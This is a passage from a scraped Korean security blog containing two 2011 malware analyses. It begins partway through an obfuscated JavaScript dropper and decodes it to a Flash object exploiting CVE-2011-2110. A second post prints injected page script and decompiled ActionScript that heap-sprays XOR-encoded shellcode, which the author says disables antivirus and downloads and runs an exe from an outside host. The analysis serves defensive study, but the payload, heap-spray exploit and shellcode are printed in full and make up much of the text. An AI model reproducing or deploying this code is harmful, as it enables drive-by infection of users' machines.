+ 8 ,69 + 11 ,12 + 71 ,2044 / 28 ,5640 / 47 ,385 / 5 ,4352 / 64 ,260 / 4 ,2940 / 28 ,33 + 40 ,14 + 57 ,37 + 71 ,41 + 66 ,5280 / 66 ,6889 / 83 ,1554 / 21 ,60 - 12 ,28 + 62 ,96 - 8 ,154 - 76 ,11 + 37 ,99 - 26 ,8295 / 79 ,33 + 33 ,204 - 100 ,141 - 43 ,3550 / 50 ,153 - 45 ,218 - 108 ,104 - 6 ,10812 / 102 ,41 + 7 ,184 - 79 ,2842 / 29 ,6612 / 76 ,142 - 34 ,75 + 32 ,61 + 29 ,77 - 6 ,840 / 7 ,200 - 92 ,15 + 58 ,45 + 61 ,97 - 45 ,44 + 34 ,2345 / 35 ,79 + 27 ,49 + 71 ,6545 / 55 ,6586 / 74 ,101 - 13 ,145 - 71 ,21 + 83 ,146 - 48 ,581 / 7 ,6 + 60 ,468 / 4 ,3649 / 41 ,10 + 77 ,57 - 8 ,132 - 24 ,4480 / 56 ,56 + 27 ,108 - 34 ,2204 / 19 ,108 - 10 ,73 - 22 ,157 - 67 ,148 - 36 ,98 - 8 ,18 + 65 ,1679 / 23 ,7004 / 68 ,4000 / 40 ,100 + 9 ,11 + 59 ,139 - 24 ,24 + 76 ,16 + 71 ,111 - 26 ,1653 / 29 ,53 + 20 ,5341 / 49 ,118 - 14 ,2704 / 26 ,114 - 15 ,86 - 14 ,11 + 54 ,3042 / 26 ,137 - 38 ,90 - 39 ,159 - 59 ,8938 / 82 ,40 + 40 ,53 + 66 ,1248 / 26 ,90 - 15 ,9118 / 94 ,15 + 72 ,75 - 22 ,143 - 34 ,88 + 10 ,121 + 1 ,816 / 17 ,134 - 15 ,3080 / 40 ,10700 / 100 ,157 - 72 ,1100 / 22 ,96 - 19 ,1830 / 15 ,210 / 3 ,107 - 40 ,152 - 74 ,76 + 9 ,37 + 36 ,11 + 109 ,7 + 70 ,7442 / 61 ,97 - 12 ,5 + 117 ,39 + 38 ,11102 / 91 ,121 - 44 ,83 - 33 ,1053 / 13 ,4335 / 51 ,80 - 7 ,59 - 10 ,124 - 47 ,118 - 33 ,139 - 58 ,205 - 83 ,62 + 16 ,156 - 72 ,131 - 58 ,2550 / 50 ,137 - 56 ,6890 / 65 ,189 - 89 ,71 - 5 ,82 - 4 ,82 + 25 ,166 - 76 ,55 + 11 ,22 + 60 ,39 + 45 ,17 + 82 ,56 - 3 ,109 - 30 ,1632 / 24 ,152 - 63 ,150 - 45 ,70 + 3 ,110 - 43 ,952 / 17 ,1763 / 41 ,93 - 25 ,118 - 37 ,179 - 68 ,20 + 36 ,85 + 14 ,126 - 55 ,1820 / 26 ,14399 / 119 ,5696 / 64 ,165 - 78 ,17 + 31 ,186 - 83 ,64 + 34 ,46 + 63 ,59 + 11 ,3 + 113 ,26 + 64 ,25 + 59 ,50 - 2 ,35 + 70 ,150 - 51 ,76 + 12 ,1892 / 22 ,169 - 65 ,4214 / 43 ,43 + 28 ,197 - 89 ,84 - 36 ,166 - 65 ,150 - 67 ,4453 / 61 ,3090 / 30 ,80 + 20 ,10246 / 94 ,93 - 23 ,69 + 46 ,9500 / 95 ,25 + 62 ,140 - 55 ,67 - 10 ,134 - 61 ,94 + 15 ,24 + 80 ,10304 / 92 ,74 + 16 ,40 + 10 ,145 - 42 ,47 + 58 ,40 + 33 ,11 + 56 ,2912 / 52 ,69 - 26 ,3536 / 52 ,88 - 7 ,41 + 70 ,82 - 26 ,18 + 81 ,63 + 8 ,37 + 33 ,14399 / 119 ,41 + 48 ,143 - 56 ,1488 / 31 ,159 - 56 ,157 - 59 ,16 + 93 ,28 + 42 ,70 + 46 ,21 + 69 ,22 + 62 ,13 + 35 ,193 - 88 ,19 + 70 ,1526 / 14 ,185 - 85 ,199 - 93 ,72 + 26 ,33 + 17 ,9960 / 83 ,13452 / 114 ,121 - 22 ,8925 / 85 ,1460 / 20 ,118 - 15 ,168 - 68 ,4796 / 44 ,65 + 5 ,224 - 109 ,1600 / 16 ,94 - 7 ,99 - 14 ,1311 / 23 ,40 + 33 ,3360 / 32 ,123 - 45 ,156 - 47 ,630 / 7 ,173 - 64 ,129 - 39 ,4142 / 38 ,145 - 55 ,5995 / 55 ,2 + 87 ,52 + 53 ,110 - 37 ,57 + 10 ,1624 / 29 ,39 + 4 ,1088 / 16 ,72 + 9 ,7992 / 72 ,23 + 33 ,7425 / 75 ,75 - 4 ,133 - 63 ,88 + 33 ,76 + 13 ,1218 / 14 ,58 - 10 ,77 + 26 ,2254 / 23 ,67 + 42 ,4480 / 64 ,33 + 83 ,167 - 77 ,6636 / 79 ,31 + 17 ,82 + 23 ,166 - 67 ,90 - 19 ,42 + 78 ,97 + 7 ,3030 / 30 ,158 - 75 ,8 + 65 ,125 - 22 ,153 - 53 ,15 + 94 ,66 + 4 ,50 + 65 ,3900 / 39 ,51 + 36 ,85 / 1 ,11 + 46 ,4745 / 65 ,137 - 27 ,33 + 49 ,160 - 39 ,5400 / 54 ,120 - 33 ,55 + 30 ,49 + 56 ,949 / 13 ,47 + 20 ,110 - 54 ,258 / 6 ,44 + 24 ,76 + 5 ,92 + 19 ,112 / 2 ,190 - 91 ,112 - 41 ,29 + 41 ,5566 / 46 ,99 - 10 ,4002 / 46 ,32 + 16 ,137 - 34 ,55 + 43 ,31 + 78 ,36 + 34 ,9744 / 84 ,3150 / 35 ,1344 / 16 ,17 + 31 ,167 - 62 ,50 + 48 ,74 - 3 ,61 - 4 ,98 + 20 ,115 - 16 ,2814 / 42 ,18 + 55 ,10506 / 102 ,157 - 57 ,6867 / 63 ,108 - 38 ,217 - 102 ,700 / 7 ,128 - 41 ,2125 / 25 ,71 - 14 ,1241 / 17 ,201 - 91 ,138 - 56 ,6413 / 53 ,6900 / 69 ,116 - 29 ,0 + 85 ,169 - 64 ,72 + 1 ,108 - 41 ,29 + 27 ,22 + 21 ,30 + 38 ,1620 / 20 ,12210 / 110 ,22 + 34 ,173 - 74 ,36 + 35 ,40 + 30 ,3751 / 31 ,176 - 87 ,40 + 47 ,2064 / 43 ,157 - 54 ,3136 / 32 ,158 - 49 ,3010 / 43 ,4640 / 40 ,167 - 77 ,83 + 1 ,144 / 3 ,99 + 6 ,400 / 4 ,39 + 11 ,26 + 23 ,52 + 66 ,87 + 3 ,101 - 30 ,1700 / 20 ,9030 / 86 ,69 + 4 ,97 - 25 ,73 + 17 ,8944 / 86 ,124 - 26 ,4536 / 63 ,124 - 38 ,1296 / 12 ,42 + 38 ,161 - 78 ,4218 / 57 ,31 + 20 ,5432 / 56 ,5481 / 63 ,2014 / 38 ,69 + 38 ,7644 / 78 ,1122 / 22 ,3663 / 37 ,106 - 1 ,67 + 6 ,4288 / 64 ,10 + 46 ,86 - 43 ,93 - 25 ,1377 / 17 ,156 - 45 ,4 + 52 ,3762 / 38 ,16 + 55 ,82 - 12 ,225 - 104 ,6497 / 73 ,169 - 82 ,74 - 26 ,8755 / 85 ,17 + 81 ,1308 / 12 ,12 + 58 ,220 - 104 ,180 - 90 ,111 - 27 ,14 + 34 ,145 - 40 ,185 - 86 ,58 - 8 ,99 - 21 ,207 - 103 ,127 - 29 ,1349 / 19 ,6290 / 74 ,148 - 43 ,4599 / 63 ,49 + 23 ,4860 / 54 ,195 - 91 ,68 + 30 ,144 - 72 ,3096 / 36 ,101 + 7 ,121 - 41 ,108 - 25 ,1258 / 17 ,227 - 105 ,76 + 21 ,95 - 24 ,69 - 12 ,1989 / 39 ,111 - 22 ,152 - 65 ,3960 / 33 ,65 + 50 ,14 + 59 ,45 + 60 ,116 - 51 ,61 + 57 ,148 - 68 ,721 / 7 ,52 - 4 ,3375 / 45 ,83 - 3 ,1872 / 26 ,110 - 44 ,135 - 31 ,1881 / 19 ,191 - 82 ,25 + 45 ,121 - 5 ,29 + 44 ,25 + 46 ,40 + 13 ,173 - 69 ,187 - 89 ,1044 / 12 ,4590 / 54 ,855 / 15 ,25 + 48 ,11 + 98 ,85 - 36 ,131 - 23 ,2156 / 22 ,4620 / 42 ,1020 / 12 ,73 + 32 ,73 / 1 ,576 / 8 ,96 - 6 ,3432 / 33 ,4704 / 48 ,4 + 68 ,101 - 15 ,194 - 86 ,5120 / 64 ,913 / 11 ,9 + 65 ,27 + 21 ,129 - 30 ,11440 / 104 ,68 + 18 ,126 - 18 ,86 - 13 ,154 - 49 ,68 - 3 ,2950 / 25 ,62 + 18 ,171 - 68 ,32 + 16 ,59 + 16 ,90 - 10 ,118 - 46 ,2904 / 44 ,112 - 8 ,8415 / 85 ,152 - 43 ,88 - 18 ,83 + 33 ,13 + 60 ,3408 / 48 ,1431 / 27 ,4264 / 41 ,294 / 3 ,97 - 10 ,44 + 41 ,84 - 27 ,26 + 47 ,174 - 65 ,95 - 13 ,79 + 29 ,168 - 68 ,101 + 8 ,2376 / 22 ,68 + 38 ,98 - 8 ,164 - 77 ,9 + 81 ,156 - 38 ,2940 / 30 ,80 + 30 ,4941 / 61 ,4200 / 40 ,11 + 62 ,3600 / 50 ,5130 / 57 ,10816 / 104 ,158 - 60 ,89 - 17 ,3096 / 36 ,18 + 90 ,32 + 48 ,664 / 8 ,2 + 72 ,63 + 46 ,165 - 76 ,435 / 5 ,68 + 52 ,2 + 120 ,126 - 36 ,1826 / 22 ,119 - 46 ,137 - 34 ,101 - 25 ,117 + 5 ,364 / 7 ,1482 / 19 ,2546 / 38 ,130 - 24 ,30 + 90 ,22 + 97 ,60 + 29 ,1408 / 16 ,1628 / 22 ,106 - 2 ,8036 / 82 ,143 - 60 ,31 + 35 ,197 - 80 ,4717 / 53 ,4437 / 51 ,1421 / 29 ,5292 / 49 ,92 - 12 ,4648 / 56 ,1702 / 23 ,63 + 59 ,58 + 31 ,54 + 33 ,22 + 98 ,75 + 37 ,30 + 60 ,55 - 5 ,57 - 5 ,525 / 5 ,2628 / 36 ,42 + 30 ,131 - 41 ,2288 / 22 ,46 + 52 ,2520 / 35 ,2666 / 31 ,5508 / 51 ,4000 / 50 ,2241 / 27 ,55 + 18 ,98 + 7 ,3723 / 51 ,74 - 7 ,2968 / 53 ,63 - 20 ,15 + 53 ,3321 / 41 ,190 - 79 ,2576 / 46 ,156 - 57 ,77 - 6 ,1260 / 18 ,46 + 75 ,3115 / 35 ,2262 / 26 ,19 + 29 ,48 + 55 ,149 - 51 ,103 + 6 ,17 + 53 ,13 + 103 ,58 + 32 ,22 + 62 ,52 - 4 ,73 + 32 ,14 + 75 ,37 + 50 ,231 - 111 ,226 - 111 ,111 - 13 ,99 - 48 ,6200 / 62 ,0 + 84 ,96 - 7 ,81 - 30 ,3034 / 41 ,72 + 40 ,8316 / 84 ,142 - 70 ,4264 / 52 ,103 - 37 ,31 + 58 ,78 - 28 ,53 + 25 ,13 + 95 ,23 + 76 ,459 / 9 ,56 + 21 ,159 - 54 ,58 + 15 ,85 - 13 ,4590 / 51 ,35 + 69 ,37 + 61 ,49 + 23 ,163 - 77 ,8424 / 78 ,79 + 1 ,92 - 9 ,133 - 59 ,11590 / 95 ,19 + 70 ,7134 / 82 ,54 - 5 ,64 + 44 ,128 - 46 ,67 + 4 ,64 - 7 ,7076 / 61 ,2670 / 30 ,7482 / 86 ,186 - 78 ,10296 / 88 ,5183 / 71 ,735 / 7 ,3510 / 54 ,4366 / 37 ,18 + 62 ,171 - 68 ,1632 / 34 ,88 - 13 ,131 - 51 ,91 - 24 ,3078 / 54 ,6726 / 57 ,153 - 64 ,57 + 52 ,94 + 18 ,126 - 18 ,96 - 7 ,96 - 45 ,405 / 5 ,65 - 22 \u0026#34;; t=eval(\u0026#34;mydata(String.fromCharCode(\u0026#34;+UU+\u0026#34;))\u0026#34;); document.write(t); \u0026lt;/script\u0026gt; 눈으로 보기엔 아주 난독화가 심하게 되어 있는거 같지만 해당 코드는 그냥 간단하게 맨 아래 있는 document.write(t); 부분의 't' 값만 확인하면 난독화 하기 전 코드를 확인할 수 있습니다.\n그런데 그렇게 시도하면 난독화가 풀리지가 않습니다. 코드를 확인해본 결과 아래 부분에서 오류가 나는걸 확인할 수 있었는대요\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 do{ enc1=keyStrs.indexOf(input.charAt(i++)); enc2=keyStrs.indexOf(input.charAt(i++)); enc3=keyStrs.indexOf(input.charAt(i++)); enc4=keyStrs.indexOf(input.charAt(i++)); chr1=(enc1\u0026lt;\u0026lt;2)|(enc2\u0026gt;\u0026gt;4); chr2=((enc2\u0026amp;15)\u0026lt;\u0026lt;4)|(enc3\u0026gt;\u0026gt;2); chr3=((enc3\u0026amp;3)\u0026lt;\u0026lt;6)|enc4; output=output+String.fromCharCode(chr1); if(enc3!=64){output=output+String.fromCharCode(chr2);}; if(enc4!=64){output=output+String.fromCharCode(chr3);}; chr1=chr2=chr3=\u0026#34;\u0026#34;; enc1=enc2=enc3=enc4=\u0026#34;\u0026#34;; }; while(i\u0026lt;input.length);return output; 위 코드에서 14번째 라인인 \u0026quot;};\u0026quot; 부분에서 오류가 남을 확인할 수 있습니다. 일반적으로 do while 문을 작성할 떄 do{} while(조건식); 형태로 작성하여야 하는데 해당 코드를 보면 do {}; while(조건식); 으로 작성되어 있음을 알 수 있습니다.\n따라서 세미콜론 제거 후 풀면 아래와 같은 코드를 확인할 수 있습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 \u0026lt;object classid=\u0026#34;clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\u0026#34; width=\u0026#34;200\u0026#34; height=\u0026#34;100\u0026#34; id=\u0026#34;test\u0026#34; align=\u0026#34;middle\u0026#34;\u0026gt; \u0026lt;param name=\u0026#34;movie\u0026#34; value=\u0026#34;happ.swf? info=02E631B5B1353336AB51D3527B7A6FAE7986\u0026#34; /\u0026gt; \u0026lt;param name=\u0026#34;quality\u0026#34; value=\u0026#34;high\u0026#34; /\u0026gt; \u0026lt;param name=\u0026#34;bgcolor\u0026#34; value=\u0026#34;#ffffff\u0026#34; /\u0026gt; \u0026lt;param name=\u0026#34;play\u0026#34; value=\u0026#34;true\u0026#34; /\u0026gt; \u0026lt;param name=\u0026#34;loop\u0026#34; value=\u0026#34;true\u0026#34; /\u0026gt; \u0026lt;param name=\u0026#34;wmode\u0026#34; value=\u0026#34;window\u0026#34; /\u0026gt; \u0026lt;param name=\u0026#34;scale\u0026#34; value=\u0026#34;showall\u0026#34; /\u0026gt; \u0026lt;param name=\u0026#34;menu\u0026#34; value=\u0026#34;true\u0026#34; /\u0026gt; \u0026lt;param name=\u0026#34;devicefont\u0026#34; value=\u0026#34;false\u0026#34; /\u0026gt; \u0026lt;param name=\u0026#34;salign\u0026#34; value=\u0026#34;\u0026#34; /\u0026gt; \u0026lt;param name=\u0026#34;allowScriptAccess\u0026#34; value=\u0026#34;sameDomain\u0026#34; /\u0026gt; \u0026lt;/object\u0026gt; 위 코드는 Adobe Flash Player 취약점인 CVE-2011-2110 으로 확인되었습니다.\n","date":"2011-09-21T14:20:12Z","permalink":"/2011/09/21/%EB%82%9C%EB%8F%85%ED%99%94-%EC%BD%94%EB%93%9C-%EA%B7%B8%EB%A6%AC%EA%B3%A0-%EC%A0%9C%EC%9E%91%EC%9E%90%EC%9D%98-%EC%8B%A4%EC%88%98/","title":"난독화 코드 그리고 제작자의 실수?"},{"content":"금일 분석하다 처음보는 취약점을 확인하여 기록합니다. 우선 특정 사이트에 아래와 같이 삽입이 되어 있었습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 function user(){ var January=\u0026#34;\u0026lt;script type=\\\u0026#34;text/javascript\\\u0026#34;\u0026gt;window.onerror=function(){return true;};\u0026lt;\\/script\u0026gt;\\r\\n\u0026#34;+ \u0026#34;\u0026lt;object width=\\\u0026#34;550\\\u0026#34; height=\\\u0026#34;400\\\u0026#34;\u0026gt;\\r\\n\u0026#34;+ \u0026#34;\u0026lt;param name=\\\u0026#34;movie\\\u0026#34; value=\\\u0026#34;done.swf\\\u0026#34;\u0026gt;\\r\\n\u0026#34;+ \u0026#34;\u0026lt;embed src=\\\u0026#34;Birthday.swf\\\u0026#34; width=\\\u0026#34;550\\\u0026#34; height=\\\u0026#34;400\\\u0026#34;\u0026gt;\\r\\n\u0026#34;+ \u0026#34;\u0026lt;\\/embed\u0026gt;\\r\\n\u0026#34;+ \u0026#34;\u0026lt;\\/object\u0026gt;\u0026#34; ; var info = navigator.userAgent.toLowerCase(); var win = (navigator.platform == \u0026#34;Win32\u0026#34;) || (navigator.platform == \u0026#34;Windows\u0026#34;); var ck=code(); var March = info.indexOf(\u0026#39;msie 7.0\u0026#39;); var April = info.indexOf(\u0026#39;msie 6.0\u0026#39;); var August = info.indexOf(\u0026#34;windows nt 5.1\u0026#34;); if(August\u0026gt;0\u0026amp;\u0026amp;ck==1\u0026amp;\u0026amp;(March\u0026gt;0||April\u0026gt;0)){ document.body.innerHTML=\u0026#34;xxxx\u0026#34;+January; } } 여기서 Birthday.swf 파일을 살펴 보도록 하겠습니다. 이전에 알려드린 SWFScan 툴을 이용하여 코드를 확인하면 아래와 같습니다. SWFScan : http://www.hp.com/go/swfscan\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 package [Global] { public class hs extends flash.display::MovieClip { //========================= Variables internal static const POOL_SIZE : int = -1048576; internal static var allocs : Array; internal static var pool : ByteArray; internal static var dstSize : int; internal static var allocCount : int; internal static var cevent : Function; internal static var childRef : DisplayObject = Null; internal static var container : Sprite = Null; //========================= Methods public static function hs() { this.POOL_SIZE = -1048576; this.childRef = null; this.container = null; return; } public function hs() { var loc1:* = undefined; var loc2:* = undefined; var loc9:* = null; super(); var loc0:* = new ByteArray(); loc0.endian = Endian.LITTLE_ENDIAN; var loc3:* = 0; var loc4:* = \u0026#34;4357530AA805000078DA7D535B8FDB44149EF16DE26473DBA4DE6DDAD294164542247652046CB48D48932D744537D2AEB84A2B32B1279BA18E6DD993CB4A48A09578E1857FC1BF408807241E4357C07B9FFA2F96B1BD4D36A562642773CE7CE73BDF39673C07D27300323F03B00D41377F1D00F05DE10F08C0AE6F0D9B87DD47E5F9D8768226B71E54468C794D5D9FCD66B5D9FD9AEB9FE8F59D9D1DDD68E88D469523AAC1A9C3F0BCEA04772BAD88A04B02D3A71EA3AE530E6D3C7027EC41A572C96A994B526FE2DB11A565EAC42663E2B040AFD7EA9CC8329B43D71F63D6C29E6753138774FABC1A8C5CF3E90C4F497568E360B4ABAF80610CA3CC26ADB6E50E48F9914DE6E577CBED557C848E2121D85A096D5D291387D135D31DEB9EEF5A13936B1A72AA28F86A4848E14D06360D46C46F4D9CA78E3B8B53ACBC21C6F40966EE3AE2A52F3CB7B17332C127A4B577109D2DED482366A4D530EAF5EA07D57A23D610BA76F5575A7DE9E1D36B816EEE85B80B3AC2C5C5C55749918F57E1AF047AEF8368FDF450F9A5CEC7FD7BF209A60EF8B5F82DC7701B0C7D3C267590033520FC76F6C38F12006F0169EA526B23EA768D4CC31165DB7CE6E69EEFBBFE5EE890429A748CB068E0D9F8547DE24E29E9D8D4CBE325F863EC5836F1533172C2A81DA80F4F1969FB3E8F88BD0E61E903C23AAEE31033AC0B99F1F6CEE58456D3691FDDD71B86F19E3E98509B51E792774C2C8AB7D6D434976A8AEBFE23CFA78CDC5B7776E3FFDEE01B9E960B61BC3AE2DF5E073D7618F13157382531F0C6FF90DCBCDABD66D4B3F01C3393DF1125C6A8BCEA23C6AFC538370B457DEA04F4C421164F946A1F7D79D0F97AEFF0B07798C39615117C420346B82E99D4F0944A6132F9336A11378B19C3E6684997E0119D11B5ADEC2B89D36B1AF3FFA9487B7D2394B869450D6AA2A66CCB9AAAA56420832D98C868D9925CCA95F2A5CD52A1542C5D2B694201414156126A524C491BE94C3697DF2C6C711F1224046524220413484E2265434D43A4F0A36D04AFAB25A8DE8428754B7D0322781B410D096524DE41E29B48BC8BC47B5278912114C06A41515225C03D50CE8B108ADC86FCD643C8732F8C8F22F8CBAD20CAC9D4E70B63F1181C2BFB0AF85EF9EB18ED2370F6F7B3722F018FD567FB2A3CFBE7CF2AEC25E1D5DFF3BE304CF5E5DE8670FECE8D5E1A1E67F633E0EC6D533AEF65E16220F57290D38B02CF5A591804F4F3467FD3E8178C7ED1E85F33FA9AD197F8F305B815AF91C8E16A21FCFAA28FF143BEF9179183A55A\u0026#34;; var loc5:* = \u0026#34;0c0c9090eb115a4a33c96681c1E30780340a96e2faeb05e8eafffffff67e96969696cb177b8586d6961d631b10f683d696c67eda9296961b10c783d696c67ed69296961b102783d696c67ea29296961b104c83d696c67ebe929696c0fc977e2f949696c0fc947e27949696c0fc957e3f949696c0fc927e37949696c07ed0979696c07e39969696c07e11969696fc9669001f83d696f755c31d7a15526a1dd39e1fd36aa556cf16af96e292d6d77d615f549296c31d7a69e39e7e4f69696997d39e1de39a1deb9e69e39a7e5e6969691d5e15579765325f549e96c31d7ac11deb9e1369e2be1dc39a1344e2b7c01de3861d50d813561d59e09abd41d01c92871e97d7d8e3611d51c8c95f549a96a556c95f549a96c31d7a1de39e1b103781d696c669000383d696fcf3c669000f83d69669465f549296c31d7a1552621de39ef61bcb6ac5fcd6fcf21d10ce83d696c669000783d696f71d10ce83d6961fd3621d50933d87d696bdd362157e931fd36ef6fc971b088681d696c51d10ce83d696c67ec3696969f7f6fc921bd36ec61d10ce83d696155697c67ea8696969f71b101f83d696fc92c62e3d87d6969550155695c67eb26969695f549296fc962e9696969669465f549296c31d7a15527a1de39efe92979696fcd669001b83d6961fd36ac6fe9297969669001383d696f61b080181d696c569e36a7e21686969f769e36a6900ff83d696fc96fc9669e36a1b08ad83d696c5fc9669007783d6969d56991362969696fc96fc96fc95fc96fc95fc9569e36a6900e783d6961fd36e15eb6e96991244969696fc9669e36e6900fb83d6961fd36217eb62f67c969699102196969617eb6206c9979699153c96969669e362fcd669001b83d6961fd36651d37a96969696fc961bd37ac669e36269e36669e36e6900ef83d6969d56e2eaf61ddb621dd3661c861654b216644a1e86d6dfe364f7fc96fc96fc9669e36e69003783d696156e69e2c4fc9651d37a969696961bd37ac669e36269e36669e36e6900eb83d6969d56e2a469e36e6900e383d696fe4691969669000b83d69669e36a69000383d696156e96e2711b083b81d696c5c669000f83d69669465f549296c31d7a1552461de39afe92979696fcd669001b83d6961fd36a1bd36ec6fe8f969496fc9615eb9e97e3901b107f83d69615eb9e94e3901b109480d69615eb9e95e3901b10b480d69615eb9e92e3901b10dc80d696c6fe9496961669002c83d69615eb9e97e29015eb9e94e3937f1e96969615eb9e95e3b49d56e388fc961b08f481d696c569001783d696fc961b08eb81d696c569001783d69615eb9e92e3c09d56e3c4fea9969996fc96fc9669005083d6969d56e2a9fcb21b088181d696c5c669005c83d6969d56e2bd1bcb46c5fc97c669005883d696fc961b08a681d696c569001783d696fc961b08dc81d696c569001783d6965f549e969d56e2905f549e967df215eb9e97e3901b08f580d69615eb9e94e3901b082180d696c5fc96fc97fc9669003383d6969d56e291c669003f83d69615eb9e97e3901b080a80d69615eb9e94e3901b087980d696c5fc96fc97fc9669003383d6969d56e291c669003f83d6965f549e96f61de2b2b27e01969696fe3b47a2d7c67eb7969696c069461d4ebd563a1256e36d1d683b1356e29cc6c57e919696963d7d67f7549296f61dfab2b21dd3aa1dc2beee95431ddc8e1dccb6954b75dfdf1da21d9563a569f61d40a5566146a494259e477ee593a3b6152e7b685de36516ac96e295d47d7161461f92b2f7adeab2bee35c1dccb2954bf01d9add1dcc8a954b1d921d95537d94bd561fd2b28af7549e96f6a556f21dd6a61356ee9a1dd69a1de68a3b1dd69e7d9f1dd6a21bd6ea1dd6aa1fd2b28af755fee2e2e6acb9b9e5f2a6b8fff8b9e2b9f0b8f3eef396e3e5f3e4a5a496942dddf396969696fdf3e4f8f3faa5a49648f9b3488d17eb7949bb1f1a0bdcf4feccf74ec205e1e1b7d9bad3be0b7fbc4517e763d655c535152d4255ef3b47a2d789ea5f692ca0579cd40b1313ef29cf803576899796969696f7f2e0f7e6ffa5a4960fc08f5bad9f211e39948e12fa3befddfc68f7ba60694c8991c3885296969696e3e4fafbf9f8968f42550496969696c5d9d0c2c1d7c4d3cacad7fef8daf7f4cacac0a5daffe2f396c5d9d0c2c1d7c4d3cacad7fef8daf7f4cacac0a5b6a5a0a3b6d5fafff8fff596c5d9d0c2c1d7c4d3cacad8ded8b6d5f9e4e6f9e4f7e2fff9f8cacad8f7e0f3e4c0f7f5f5fff8f396c5d9d0c2c1d7c4d3cacad3c5c2e5f9f0e2cacad7dacff7f596d1faf9f4f7facac0a5dadfc2d3c9edd7a5d7a6afd3d3a4bba7d4a7d3bba2a6a0a1bbd4a4a4d2bba6a4a0afa7a2a0d4a7a6a6a6ebc9d7dada96d1faf9f4f7facac0a5dadfc2d3c9d0dfd8dfc5dec9d3c0d3d8c296d1faf9f4f7facac0a5a5a0a3c9edd7a5d7a6afd3d3a4bba7d4a7d3bba2a6a0a1bbd4a4a4d2bba6a4a0afa7a2a0d4a7a6a6a6ebc9d7dada96d1faf9f4f7facac0a5a5a0a3c9d0dfd8dfc5dec9d3c0d3d8c2962e9696969696967f060606060696d796da96cf96f796f596c996c696cc96c596e496e096969696f8e2e5f2b6bbf5b6e7b6bbe6f8b6d7cfd7f1f3f8e2b8f7eff396f8e2e5f2b6bbf5b6e7b6bbe6f8b6d7dacff7f5b8f7eff396f8e2e5f2b6bbf5b6e7b6bbe6f8b6d8c0d5d7f1f3f8e2b8f8e6f596f8e2e5f2b6bbf5b6e7b6bbe6f8b6d8e5f7e0e5e0f5b8f8e6f596c0c5daf7efb8f2fafa96c5fef2f9f5e0e1b8f2fafa96fff8ffe296b2c5fef3fafad5f9f2f3c9c2fef3d3f8f2b22e21919696c67e979696965a69b396b6d6969696969696969696969696969696969696969696969696969696\u0026#34;; loc0.writeBytes(this.hexToBin(loc5)); loc3 = loc5.length / 2; loc1 = 0; while(loc1 \u0026lt; 65536 - loc3) { loc0.writeByte(12); loc1 = loc1 + 1; } this.alloc(loc0, -1048576 - 36); var loc6:* = new ByteArray(); writeBytes(this.pool, 0, -1048576 - 36); allocs.push(loc6); this.pool = null; loc1 = 0; while(loc1 \u0026lt; 224) { loc9 = new ByteArray(); writeBytes(loc6, 0, -1048576 - 36); allocs.push(loc9); loc1 = loc1 + 1; } var loc7:* = new Loader(); var loc8:* = new LoaderContext(false); loc7.loadBytes(this.hexToBin(loc4), loc8); this.childRef = 0; return; } public static function init_pool(arg0:*) { var loc0:* = null; this.pool = new ByteArray(); pool.writeBytes(arg0); while(this.pool.length \u0026lt; this.POOL_SIZE) { loc0 = new ByteArray(); loc0.writeBytes(this.pool); pool.writeBytes(loc0); } return; } public static function alloc(arg0:*, arg1:*) { if(null == this.allocs) { this.allocs = new Array(); } this.dstSize = ; this.init_pool(arg0); return; } public static function free() { this.allocs = null; return; } public static function hexToBin(arg0:String) : flash.utils::ByteArray { var loc3:* = null; var loc0:* = new ByteArray(); var loc1:* = arg0.length; var loc2:* = 0; while(loc2 \u0026lt; loc1) { loc3 = arg0.charAt(loc2) + arg0.charAt(loc2 + 1); loc0.writeByte(parseInt(loc3, 16)); loc2 = loc2 + 2; } return loc0; } } } 여기서 loc4, loc5 변수를 살펴보면 해당 취약점을 이해할 수 있습니다. 우선 loc5 부터 살펴 보겠습니다. 살펴보면 0x96으로 XOR 되어 있음을 알 수 있고 국내 여러 백신을 종료시키는 시도시키고 http://***.in/t/f.exe 파일을 다운로드 및 실행을 함을 알 수 있습니다.\n그럼 이제 loc4 변수를 살펴 보도록 하겠습니다. 우선 해당 변수값을 파일로 저장해보면 Flash 파일임을 알 수 있습니다. 역시 SWFScan 툴로 확인해봅니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 package [Global] { public class Main extends flash.display::MovieClip { //========================= Methods public static function Main() { return; } public function Main() { super(); var loc0:* = new ByteArray(); var loc1:* = new NetConnection(); loc1.connect(null); var loc2:* = new NetStream(loc1); loc0.writeUnsignedInt(1094795585); loc0.writeUnsignedInt(1094795585); loc0.writeUnsignedInt(1094795585); loc2.addEventListener(AsyncErrorEvent.ASYNC_ERROR, this.asyncErrorHandler); loc2.play(\u0026#34;e.avi\u0026#34;); var loc3:* = new Video(); attachNetStream(loc2); this.addChild(loc3); return; } public static function asyncErrorHandler(arg0:flash.events::AsyncErrorEvent) { return; } } } 코드를 살펴보면 e.avi 파일을 로드함을 알 수 있습니다. 해당 파일을 다운로드 하여 우선 파일을 확인해 봅니다.\n1 2 [byjjoon@ByJJoon ~]$ file e.avi e.avi: ISO Media, MPEG v4 system, version 2 일반적인 MP4 파일로 보이며, 해당 파일을 로드하다 취약점이 발생하여 이전에 분석한 loc5 변수의 쉘코드가 실행될 것으로 보입니다. 해당 파일의 VirusTotal 결과는 아래와 같습니다.\nhttp://www.virustotal.com/file-scan/report.html?id=2c6f21dd290771ad9d4a14167110c6ad83938994e08c46125d5d562d7c110ea1-1315575312\n최근에 exploit-db에 아래와 같은 코드가 올라와서 남겨 놓습니다. 